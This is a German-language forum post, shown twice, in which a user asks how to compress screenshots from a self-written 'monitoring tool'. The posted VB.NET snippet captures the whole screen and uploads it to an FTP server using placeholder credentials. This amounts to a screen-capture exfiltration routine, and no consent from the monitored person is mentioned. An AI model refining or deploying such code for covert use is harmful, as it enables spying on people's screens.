Bloober
06.05.2010, 12:35
hi
hab mir n Überwachungstool gecoded mit eingebauter Capurefunktion wobei das Pic auf nen ftp geladen wird.
Beim Screencapture funtioniert auch alles super, das uploaden auch, nur wenn die Auflösung den Monitors zu hoch ist (zb 1280x1024) dauert es echt lange bis das Bild aufm FTP is ....
Jetzt wollt ich von euch wissen wie ich das ändern kann, hab mir überlegt die Bitgröße von 32 auf 16 zu ändern, dadurch würd die Qualli vom Pic schlechter werden aber auch weniger MB, hab aber keinen Plan wieß gehen soll???
Oder habt ihr ne bessere Idee wie ich das Bild vorm upload verkleinern kann?
hier mal mein code:
Try
Dim Pic As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
Dim g As Graphics = Graphics.FromImage(Pic)
g.CopyFromScreen(0, 0, 0, 0, Pic.Size)
PictureBox1.Image = Pic
PictureBox1.Image.Save(My.Computer.FileSystem.Spec ialDirectories.Temp & "\pic.bmp")
My.Computer.Network.UploadFile(My.Computer.FileSys tem.SpecialDirectories.Temp & "\pic.bmp", "ftp://......")
Catch ex As Exception
Application.DoEvents()
Dim client As New Net.WebClient
client.Credentials = New Net.NetworkCredential("user", "pw")
client.UploadString("ftp://....)
End Try
End Sub
hab mir n Überwachungstool gecoded mit eingebauter Capurefunktion wobei das Pic auf nen ftp geladen wird.
Beim Screencapture funtioniert auch alles super, das uploaden auch, nur wenn die Auflösung den Monitors zu hoch ist (zb 1280x1024) dauert es echt lange bis das Bild aufm FTP is ....
Jetzt wollt ich von euch wissen wie ich das ändern kann, hab mir überlegt die Bitgröße von 32 auf 16 zu ändern, dadurch würd die Qualli vom Pic schlechter werden aber auch weniger MB, hab aber keinen Plan wieß gehen soll???
Oder habt ihr ne bessere Idee wie ich das Bild vorm upload verkleinern kann?
hier mal mein code:
Try
Dim Pic As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
Dim g As Graphics = Graphics.FromImage(Pic)
g.CopyFromScreen(0, 0, 0, 0, Pic.Size)
PictureBox1.Image = Pic
PictureBox1.Image.Save(My.Computer.FileSystem.Spec ialDirectories.Temp & "\pic.bmp")
My.Computer.Network.UploadFile(My.Computer.FileSys tem.SpecialDirectories.Temp & "\pic.bmp", "ftp://......")
Catch ex As Exception
Application.DoEvents()
Dim client As New Net.WebClient
client.Credentials = New Net.NetworkCredential("user", "pw")
client.UploadString("ftp://....)
End Try
End Sub